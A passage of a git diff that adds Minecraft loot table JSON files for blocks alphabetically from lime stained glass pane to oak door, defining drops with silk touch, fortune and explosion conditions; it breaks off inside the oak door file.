b/src/data/minecraft/loot_tables/blocks/lime_stained_glass_pane.json new file mode 100644 index 00000000..989777ed --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_terracotta.json b/src/data/minecraft/loot_tables/blocks/lime_terracotta.json new file mode 100644 index 00000000..25131072 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lime_wool.json b/src/data/minecraft/loot_tables/blocks/lime_wool.json new file mode 100644 index 00000000..111b85df --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lime_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lime_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/lodestone.json b/src/data/minecraft/loot_tables/blocks/lodestone.json new file mode 100644 index 00000000..5966a382 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/lodestone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:lodestone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/loom.json b/src/data/minecraft/loot_tables/blocks/loom.json new file mode 100644 index 00000000..c45ff6bb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/loom.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:loom" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_banner.json b/src/data/minecraft/loot_tables/blocks/magenta_banner.json new file mode 100644 index 00000000..f01e7814 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:magenta_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_bed.json b/src/data/minecraft/loot_tables/blocks/magenta_bed.json new file mode 100644 index 00000000..d168b38d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:magenta_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:magenta_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_carpet.json b/src/data/minecraft/loot_tables/blocks/magenta_carpet.json new file mode 100644 index 00000000..93ef7c8f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_concrete.json b/src/data/minecraft/loot_tables/blocks/magenta_concrete.json new file mode 100644 index 00000000..89bb0b5d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/magenta_concrete_powder.json new file mode 100644 index 00000000..7653917a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/magenta_glazed_terracotta.json new file mode 100644 index 00000000..3fdc8b53 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_shulker_box.json b/src/data/minecraft/loot_tables/blocks/magenta_shulker_box.json new file mode 100644 index 00000000..0f804f8c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:magenta_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_stained_glass.json b/src/data/minecraft/loot_tables/blocks/magenta_stained_glass.json new file mode 100644 index 00000000..1d707a17 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/magenta_stained_glass_pane.json new file mode 100644 index 00000000..d15aea97 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_terracotta.json b/src/data/minecraft/loot_tables/blocks/magenta_terracotta.json new file mode 100644 index 00000000..1a0eaf6f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magenta_wool.json b/src/data/minecraft/loot_tables/blocks/magenta_wool.json new file mode 100644 index 00000000..d5cdd487 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magenta_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magenta_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/magma_block.json b/src/data/minecraft/loot_tables/blocks/magma_block.json new file mode 100644 index 00000000..a4dee7cd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/magma_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:magma_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/melon.json b/src/data/minecraft/loot_tables/blocks/melon.json new file mode 100644 index 00000000..b1cd8113 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/melon.json @@ -0,0 +1,65 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:melon" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 7.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 1 + } + }, + { + "function": "minecraft:limit_count", + "limit": { + "max": 9 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:melon_slice" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/melon_stem.json b/src/data/minecraft/loot_tables/blocks/melon_stem.json new file mode 100644 index 00000000..c6211fda --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/melon_stem.json @@ -0,0 +1,157 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "0" + } + } + ], + "count": { + "n": 3, + "p": 0.06666667, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "1" + } + } + ], + "count": { + "n": 3, + "p": 0.13333334, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "2" + } + } + ], + "count": { + "n": 3, + "p": 0.2, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "3" + } + } + ], + "count": { + "n": 3, + "p": 0.26666668, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "4" + } + } + ], + "count": { + "n": 3, + "p": 0.33333334, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "5" + } + } + ], + "count": { + "n": 3, + "p": 0.4, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "6" + } + } + ], + "count": { + "n": 3, + "p": 0.46666667, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:melon_stem", + "properties": { + "age": "7" + } + } + ], + "count": { + "n": 3, + "p": 0.53333336, + "type": "minecraft:binomial" + } + } + ], + "name": "minecraft:melon_seeds" + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_cobblestone.json b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone.json new file mode 100644 index 00000000..c991ed31 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mossy_cobblestone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_slab.json b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_slab.json new file mode 100644 index 00000000..292e2041 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:mossy_cobblestone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:mossy_cobblestone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_stairs.json b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_stairs.json new file mode 100644 index 00000000..96c6670a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mossy_cobblestone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_wall.json b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_wall.json new file mode 100644 index 00000000..2a693796 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_cobblestone_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mossy_cobblestone_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_slab.json b/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_slab.json new file mode 100644 index 00000000..95dbeb06 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:mossy_stone_brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:mossy_stone_brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_stairs.json b/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_stairs.json new file mode 100644 index 00000000..94e9399f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mossy_stone_brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_wall.json b/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_wall.json new file mode 100644 index 00000000..ae1edcfb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_stone_brick_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mossy_stone_brick_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mossy_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/mossy_stone_bricks.json new file mode 100644 index 00000000..372f611f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mossy_stone_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mossy_stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mushroom_stem.json b/src/data/minecraft/loot_tables/blocks/mushroom_stem.json new file mode 100644 index 00000000..9f769de1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mushroom_stem.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mushroom_stem" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/mycelium.json b/src/data/minecraft/loot_tables/blocks/mycelium.json new file mode 100644 index 00000000..66cb43f8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/mycelium.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:mycelium" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dirt" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_brick_fence.json b/src/data/minecraft/loot_tables/blocks/nether_brick_fence.json new file mode 100644 index 00000000..26c80762 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_brick_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:nether_brick_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_brick_slab.json b/src/data/minecraft/loot_tables/blocks/nether_brick_slab.json new file mode 100644 index 00000000..540ebcda --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:nether_brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:nether_brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_brick_stairs.json b/src/data/minecraft/loot_tables/blocks/nether_brick_stairs.json new file mode 100644 index 00000000..f464533f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:nether_brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_brick_wall.json b/src/data/minecraft/loot_tables/blocks/nether_brick_wall.json new file mode 100644 index 00000000..384aac37 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_brick_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:nether_brick_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_bricks.json b/src/data/minecraft/loot_tables/blocks/nether_bricks.json new file mode 100644 index 00000000..90a9424b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:nether_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_gold_ore.json b/src/data/minecraft/loot_tables/blocks/nether_gold_ore.json new file mode 100644 index 00000000..993b7d6f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_gold_ore.json @@ -0,0 +1,56 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:nether_gold_ore" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:ore_drops" + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:gold_nugget" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_portal.json b/src/data/minecraft/loot_tables/blocks/nether_portal.json new file mode 100644 index 00000000..68701f9f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_portal.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:block" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_quartz_ore.json b/src/data/minecraft/loot_tables/blocks/nether_quartz_ore.json new file mode 100644 index 00000000..4024b27d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_quartz_ore.json @@ -0,0 +1,48 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:nether_quartz_ore" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:ore_drops" + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:quartz" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_sprouts.json b/src/data/minecraft/loot_tables/blocks/nether_sprouts.json new file mode 100644 index 00000000..7c5d76c7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_sprouts.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:nether_sprouts" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_wart.json b/src/data/minecraft/loot_tables/blocks/nether_wart.json new file mode 100644 index 00000000..59f8a60a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_wart.json @@ -0,0 +1,55 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:nether_wart", + "properties": { + "age": "3" + } + } + ], + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:nether_wart", + "properties": { + "age": "3" + } + } + ], + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 1 + } + } + ], + "name": "minecraft:nether_wart" + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/nether_wart_block.json b/src/data/minecraft/loot_tables/blocks/nether_wart_block.json new file mode 100644 index 00000000..87415dea --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/nether_wart_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:nether_wart_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/netherite_block.json b/src/data/minecraft/loot_tables/blocks/netherite_block.json new file mode 100644 index 00000000..2a6f9588 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/netherite_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:netherite_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/netherrack.json b/src/data/minecraft/loot_tables/blocks/netherrack.json new file mode 100644 index 00000000..5cf5a8ce --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/netherrack.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:netherrack" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/note_block.json b/src/data/minecraft/loot_tables/blocks/note_block.json new file mode 100644 index 00000000..c7250c15 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/note_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:note_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_button.json b/src/data/minecraft/loot_tables/blocks/oak_button.json new file mode 100644 index 00000000..ef49e00f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_door.json b/src/data/minecraft/loot_tables/blocks/oak_door.json new file mode 100644 index 00000000..7f29f883 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": 